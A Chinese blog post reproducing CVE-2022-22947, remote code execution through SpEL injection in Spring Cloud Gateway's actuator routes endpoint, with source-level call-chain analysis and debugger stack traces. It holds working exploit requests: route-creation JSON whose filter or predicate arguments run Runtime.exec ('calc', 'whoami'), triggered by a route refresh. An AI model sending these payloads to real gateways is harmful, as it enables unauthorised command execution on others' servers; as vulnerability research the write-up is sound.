Spring Cloud Gateway SPEL RCE复现-CVE-2022-22947

说明:此篇记录SpringCloud Gateway相关的SPEL表达式导致的RCE复现过程,相关的内容来自互联网,本篇仅做记录。

1 SpringCloud Gateway的漏洞介绍

Spring Cloud Gateway 是Spring Cloud的一个全新的API网关项目,目的是为了替换掉Zuul1,它基于Spring5.0 + SpringBoot2.0 + WebFlux(基于性能的Reactor模式响应式通信框架Netty,异步阻塞模型)等技术开发,性能于Zuul,官测试,Spring Cloud GateWay是Zuul的1.6倍 ,旨在为微服务架构提供种简单有效的统的API路由管理式。可以与Spring Cloud Discovery Client(如Eureka)、Ribbon、Hystrix等组件配合使用,实现路由转发、负载均衡、熔断、鉴权、路径重写、志监控等。Gateway还内置了限流过滤器,实现了限流的功能。设计优雅,容易拓展
SpringCloud的核心流程
image.png

2 漏洞相关的介绍

根据github相关的源码介绍:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
源码的修改记录如下:
image.png
通过源码可以看到,代码将SPEL的StandardEvaluationContext 修改为了SimpleEvaluationContext,因此可以猜出之前的问题主要是由于SPEL表达式导致的。

2.1 SPEL表达式介绍

SPEL表达式介绍,可以参考之前的文章:https://moonsec.top/articles/64

2.2 漏洞的复现

环境搭建
影响范围:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway < 3.0.7
p牛的vulhub已经搭好docker了,https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947
也可以本地搭建
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
然后idea打开项目,再调试或启动

2.3 调用过程分析

1、非常标准的spel表达式使用,代码在org/springframework/cloud/gateway/support/ShortcutConfigurable#getValue()方法中,搜索其调用位置
image.png
2、既然此处会被执行SpEL表达式,那就可以查看都有哪些地方对此进行调用,可以选中getValue方法并且ctrl+alt+h即可查看被调用情况,可以看到有三个枚举常数对getValue方法进行调用并且都在ShortcutConfigurable接口中,而且三处都对normalize方法进行重写
image.png
3、继续向上追踪,查看哪些地方对normalize方法进行了调用,这次进入到了ConfigurationService类的内部类ConfigurableBuilder中的normalizeProperties方法,而normalizeProperties方法调用了normalize方法
image.png
4、ConfigurationService类的内部类AbstractBuilder中的bind方法调用了normalizeProperties方法
image.png
5、而bind方法被五处地方所引用:

  • AbstractRateLimiter类中的onApplicationEvent方法
  • RouteDefinitionRouteLocator类中的loadGatewayFilters方法与lookup方法
  • WeightCalculatorWebFilter类中的handle方法
  • BetweenRoutePredicateFactoryTests类中的bindConfig方法
    主要关注loadGatewayFilters方法
    image.png
    6、loadGatewayFilters 方法
    查看loadGatewayFilters 的调用方式
    loadGatewayFilters方法继续向前路径为:loadGatewayFilters() -> getFilters() -> convertToRoute() -> getRoutes()
    image.png

整个的调用链为

getValue:273, Spelexpression (org.springframework.expression.spel.standard)

getValue:60, ShortcutConfigurable (org.springframework.cloud.gateway.support)

normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)

normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)

bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)

loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)

getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)

convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)

...

通过IDEA的调用链也可以很容易的发现下图所示的调用关系:
image.png
即:
在@GetMapping("/routes/{id}") 和 @GetMapping("/routes") 两个controller 方法中都可以最终调用到SPEL中的getValue方法。
通过下表的Gateway接口,可以看到Gateway支持很多接口:
image.png

2.4 RCE调用链接口分析

1、根据上述步骤6的接口分析,查看Gateway的接口官方spec 说明:
image.png
2、Gateway的接口请求返回的接口如下所示:
/actuator/gateway/routes 返回的结果:

[{
  "route_id": "first_route",
  "route_object": {
    "predicate": "org.springframework.cloud.gateway.handler.predicate.PathRoutePredicateFactory$$Lambda$432/1736826640@1e9d7e7d",
    "filters": [
      "OrderedGatewayFilter{delegate=org.springframework.cloud.gateway.filter.factory.PreserveHostHeaderGatewayFilterFactory$$Lambda$436/674480275@6631ef72, order=0}"
    ]
  },
  "order": 0
},
{
  "route_id": "second_route",
  "route_object": {
    "predicate": "org.springframework.cloud.gateway.handler.predicate.PathRoutePredicateFactory$$Lambda$432/1736826640@cd8d298",
    "filters": []
  },
  "order": 0
}]

/actuator/gateway/routes/{id} 返回结果

{
  "id": "first_route",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/first"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}]

可以发现两个接口返回的内容格式是一致的,只是返回的内容不一致。/actuator/gateway/routes/{id} 会返回对应的id的内容。

3、通过Get请求的接口可知道如果需要rce,肯定要提交一个自己的route,然后进行访问。查看对应的spec文档
image.png
按照官方的说法,创建router的请求参数和get的是一样的。
但是get请求的 "filters": [],参数为空,并没有说明参数的类型。

4、查看post的接口
image.png
image.png
参考上述的post的参数,查看下该post接口,该接口通过validateRouteDefinition进行传入的参数校验。
image.png
跟进isAvailable 查看进行校验的规则
image.png
对应的校验逻辑是:RouteDefinition-->getFileter-->getName --> 判断和GatewayFilters.getName 是否相等。
其中RouteDefinition为我们刚才传入的参数,如下所示:

{
  "id": "first_route",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/first"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}]

调试下GatewayFilters 为哪些,在post时候只要加入即可通过校验,在校验的isAvailable方法中下个断点
image.png
打印出全部的相关GatewayFileters 名称:

for(int i = 0;i<((ArrayList)this.GatewayFilters).size();i++){
    System.out.println(this.GatewayFilters.get(i).name());
}

打印出的参数
[AddRequestHeaderGatewayFilterFactory@234c5e41 configClass = AbstractNameValueGatewayFilterFactory.NameValueConfig]
AddRequestHeader
[MapRequestHeaderGatewayFilterFactory@40ef0af8 configClass = MapRequestHeaderGatewayFilterFactory.Config]
MapRequestHeader
[AddRequestParameterGatewayFilterFactory@36790bec configClass = AbstractNameValueGatewayFilterFactory.NameValueConfig]
AddRequestParameter
[AddResponseHeaderGatewayFilterFactory@461c3709 configClass = AbstractNameValueGatewayFilterFactory.NameValueConfig]
AddResponseHeader
[ModifyRequestBodyGatewayFilterFactory@7e3d7dd configClass = ModifyRequestBodyGatewayFilterFactory.Config]
ModifyRequestBody
[DedupeResponseHeaderGatewayFilterFactory@3f63a513 configClass = DedupeResponseHeaderGatewayFilterFactory.Config]
DedupeResponseHeader
[ModifyResponseBodyGatewayFilterFactory@413bef78 configClass = ModifyResponseBodyGatewayFilterFactory.Config]
ModifyResponseBody
[CacheRequestBodyGatewayFilterFactory@66383c29 configClass = CacheRequestBodyGatewayFilterFactory.Config]
CacheRequestBody
[PrefixPathGatewayFilterFactory@7f7c420c configClass = PrefixPathGatewayFilterFactory.Config]
PrefixPath
[PreserveHostHeaderGatewayFilterFactory@5d152bcd configClass = Object]
PreserveHostHeader
[RedirectToGatewayFilterFactory@43cb5f38 configClass = RedirectToGatewayFilterFactory.Config]
RedirectTo
[RemoveRequestHeaderGatewayFilterFactory@6435fa1c configClass = AbstractGatewayFilterFactory.NameConfig]
RemoveRequestHeader
[RemoveRequestParameterGatewayFilterFactory@7944b8b4 configClass = AbstractGatewayFilterFactory.NameConfig]
RemoveRequestParameter
[RemoveResponseHeaderGatewayFilterFactory@d7bbf12 configClass = AbstractGatewayFilterFactory.NameConfig]
RemoveResponseHeader
[RewritePathGatewayFilterFactory@1450131a configClass = RewritePathGatewayFilterFactory.Config]
RewritePath
[RetryGatewayFilterFactory@5f7eee96 configClass = RetryGatewayFilterFactory.RetryConfig]
Retry
[SetPathGatewayFilterFactory@3a36cd5 configClass = SetPathGatewayFilterFactory.Config]
SetPath
[SecureHeadersGatewayFilterFactory@53f0d09c configClass = SecureHeadersGatewayFilterFactory.Config]
SecureHeaders
[SetRequestHeaderGatewayFilterFactory@47acd13b configClass = AbstractNameValueGatewayFilterFactory.NameValueConfig]
SetRequestHeader
[SetRequestHostHeaderGatewayFilterFactory@6f8e9d06 configClass = SetRequestHostHeaderGatewayFilterFactory.Config]
SetRequestHostHeader
[SetResponseHeaderGatewayFilterFactory@77d381e6 configClass = AbstractNameValueGatewayFilterFactory.NameValueConfig]
SetResponseHeader
[RewriteResponseHeaderGatewayFilterFactory@2272cbb0 configClass = RewriteResponseHeaderGatewayFilterFactory.Config]
RewriteResponseHeader
[RewriteLocationResponseHeaderGatewayFilterFactory@3f6f3cc configClass = RewriteLocationResponseHeaderGatewayFilterFactory.Config]
RewriteLocationResponseHeader
[SetStatusGatewayFilterFactory@180b3819 configClass = SetStatusGatewayFilterFactory.Config]
SetStatus
[SaveSessionGatewayFilterFactory@733c464f configClass = Object]
SaveSession
[StripPrefixGatewayFilterFactory@47272cd3 configClass = StripPrefixGatewayFilterFactory.Config]
StripPrefix
[RequestHeaderToRequestUriGatewayFilterFactory@73fbdf68 configClass = AbstractGatewayFilterFactory.NameConfig]
RequestHeaderToRequestUri
[RequestSizeGatewayFilterFactory@32f1fafe configClass = RequestSizeGatewayFilterFactory.RequestSizeConfig]
RequestSize
[RequestHeaderSizeGatewayFilterFactory@236eccd1 configClass = RequestHeaderSizeGatewayFilterFactory.Config]
RequestHeaderSize

这里的每种name,实际上又对应了不同的GatewayFilterFactory,我们选择一个Retry来做个验证。

5、Retry 的RCE
构造基于Retry 的RCE

POST /actuator/gateway/routes/testw 	HTTP/1.1
Host: 192.168.43.8:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36 Edg/103.0.1264.49
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 475

{
  "id": "testw",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/first"}
  }],
  "filters": [
		{
		"name":"Retry",
		"args": {
         "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"cmd \", \"/C\", \" calc\"}).getInputStream()))}",
          "name": "cmd123"
            }
		}
	],
  "uri": "https://www.uri-destination.org",
  "order": 0
}]

image.png
刷新路由,即可触发RCE,弹出计算器
image.png
PS:此处刷新路由,是因为Gateway如果让路由生效,必须进行刷新才行。刷新后路由自动加载。
请求该路由信息
image.png

++6、我们回过头了看看为啥会触发该RCE++
2.3 中咱们分析了调用过程,下面咱们来看看为何可以触发该RCE
根据Debug调试的逻辑:
从该refresh逻辑跟进
image.png
通过该逻辑向上回溯,发现调用了refresh方法
image.png
继续跟进,发现调用了org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#convertToRoute
image.png
在convertToRoute中getFilters获取各个router的routeDefinition
image.png
routeDefinition即为我们post中传入的参数,如我们传入的如下参数
image.png
在getFilters 中添加全部的过滤器,比如我们的传入的
image.png
org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters 中加载我们的过滤器以及参数
image.png
在definition.getArgs() 加载所有的args
image.png

然后通过normalizeProperties---> normalize 中getvalue
image.png
在getValue中执行对应的SPEL表达式,进而触发RCE。

相关的调用链如下:

getValue:57, ShortcutConfigurable (org.springframework.cloud.gateway.support)
normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
apply:-1, 1641677843 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$849)
onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)
tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher)
onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher)
drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeWith:4515, Mono (reactor.core.publisher)
subscribe:4371, Mono (reactor.core.publisher)
subscribe:4307, Mono (reactor.core.publisher)
subscribe:4279, Mono (reactor.core.publisher)
onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)
doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)
invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)
multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)
publishEvent:421, AbstractApplicationContext (org.springframework.context.support)
publishEvent:378, AbstractApplicationContext (org.springframework.context.support)
refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)

至此 Retry 走马观花的分析完成。

2.5 其他的调用链分析

Retry 属于 不可回显的RCE调用链,如果想要回显,可以使用AddResponseHeader,相关的调用如下:
AddRequestParameter
[ModifyRequestBodyGatewayFilterFactory@7e3d7dd configClass = ModifyRequestBodyGatewayFilterFactory.Config]
因为在org.springframework.cloud.gateway.filter.factory.rewrite.ModifyRequestBodyGatewayFilterFactory#apply 时候会向返回消息中出入运行的数据信息
image.png
对应的请求信息如下:

{
    "id": "test1",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
                "name": "cmd123"
            }
        }
    ],
    "uri": "http://aaa.com",
    "order": 0
}

响应信息如下:
image.png

3、 perdicaters的链分析

3.1 predicates分析

1、根据https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-retrieving-information-about-a-particular-route
文档的描述,有个predicates 的参数相关的描述
image.png
上一篇主要写了这个默认为空的filters 参数
2、分析过程参考上章节
在post打个断点
image.png

上一节中,咱们光分析了post中validateRouteDefinition方法中的routeDefinition.getFilters(),没有分析routeDefinition.getPredicates(),因为该predicates内容默认可以通过过滤器,因此上节的post请求可以正常提交到服务器后台

{
  "id": "testw",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/first"}
  }],
  "filters": [
		{
		"name":"Retry",
		"args": {
         "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"cmd \", \"/C\", \" calc\"}).getInputStream()))}",
          "name": "cmd123"
            }
		}
	],
  "uri": "https://www.uri-destination.org",
  "order": 0
}]

3、咱们看下routeDefinition.getPredicates()的验证内容
image.png
老方法,咱们看下啥参数可以绕过
image.png
对应的名称和方法如下

After
[AfterRoutePredicateFactory@3becc950 configClass = AfterRoutePredicateFactory.Config]
Before
[BeforeRoutePredicateFactory@6b9fdbc6 configClass = BeforeRoutePredicateFactory.Config]
Between
[BetweenRoutePredicateFactory@79476a4e configClass = BetweenRoutePredicateFactory.Config]
Cookie
[CookieRoutePredicateFactory@52ae997b configClass = CookieRoutePredicateFactory.Config]
Header
[HeaderRoutePredicateFactory@f557c37 configClass = HeaderRoutePredicateFactory.Config]
Host
[HostRoutePredicateFactory@1a01d7f0 configClass = HostRoutePredicateFactory.Config]
Method
[MethodRoutePredicateFactory@5856dbe4 configClass = MethodRoutePredicateFactory.Config]
Path
[PathRoutePredicateFactory@7e15f4d4 configClass = PathRoutePredicateFactory.Config]
Query
[QueryRoutePredicateFactory@5a058be5 configClass = QueryRoutePredicateFactory.Config]
ReadBody
[ReadBodyRoutePredicateFactory@4eaf7902 configClass = ReadBodyRoutePredicateFactory.Config]
RemoteAddr
[RemoteAddrRoutePredicateFactory@20c812c8 configClass = RemoteAddrRoutePredicateFactory.Config]
Weight
[WeightRoutePredicateFactory@71aaf151 configClass = WeightConfig]
CloudFoundryRouteService
[CloudFoundryRouteServiceRoutePredicateFactory@7061622 configClass = Object]

由于咱们写的为Path,因此可以改过滤器正常

4 RCE分析

4.1 复现过程

1、咱们参考上述章节,构造一个参数为Path的请求

{
  "id": "testw2",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"#{T(java.lang.Runtime().exec(\"calc\"))}"}
  }],
  "filters": [
	],
  "uri": "https://www.uri-destination.org",
  "order": 0
}]

请求成功
image.png
2、刷新请求
image.png
rce成功

3.2 分析

1、咱们在SPEL表达执行的地方打个断点
image.png

2、可以看到最终执行了image.png
因此RCE成功了

3、咱们往前看,看下过程
从refresh看
image.png
4、在org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#convertToRoute 方法调用了combinePredicates(routeDefinition),由于filter为空
因此结果只有predicate
image.png

5、在combinePredicates中之取到一个对象
image.png
6、然后调用normalizeProperties-->normalize-->对第五部的每个对象的getvalue
image.png
7、最终触发RCE
image.png

8、相关的调用链

getValue:58, ShortcutConfigurable (org.springframework.cloud.gateway.support)
lambda$normalize$0:140, ShortcutConfigurable$ShortcutType$3 (org.springframework.cloud.gateway.support)
apply:-1, 390531259 (org.springframework.cloud.gateway.support.ShortcutConfigurable$ShortcutType$3$$Lambda$977)
accept:193, ReferencePipeline$3$1 (java.util.stream)
forEachRemaining:1384, ArrayList$ArrayListSpliterator (java.util)
copyInto:482, AbstractPipeline (java.util.stream)
wrapAndCopyInto:472, AbstractPipeline (java.util.stream)
evaluateSequential:708, ReduceOps$ReduceOp (java.util.stream)
evaluate:234, AbstractPipeline (java.util.stream)
collect:499, ReferencePipeline (java.util.stream)
normalize:141, ShortcutConfigurable$ShortcutType$3 (org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
lookup:216, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
combinePredicates:189, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:116, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
apply:-1, 1641418296 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$849)
onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)
tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher)
onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher)
drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:8469, Flux (reactor.core.publisher)
onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
subscribe:165, FluxIterable (reactor.core.publisher)
subscribe:87, FluxIterable (reactor.core.publisher)
subscribe:4400, Mono (reactor.core.publisher)
subscribeWith:4515, Mono (reactor.core.publisher)
subscribe:4371, Mono (reactor.core.publisher)
subscribe:4307, Mono (reactor.core.publisher)
subscribe:4279, Mono (reactor.core.publisher)
onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)
doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)
invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)
multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)
publishEvent:421, AbstractApplicationContext (org.springframework.context.support)
publishEvent:378, AbstractApplicationContext (org.springframework.context.support)
refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)


参考

1、https://moonsec.top/articles/64
2、https://nosec.org/home/detail/5008.html
3、https://paper.seebug.org/1878/

posted @ 2022-07-16 21:51  TT0TT  阅读(756)  评论(0编辑  收藏  举报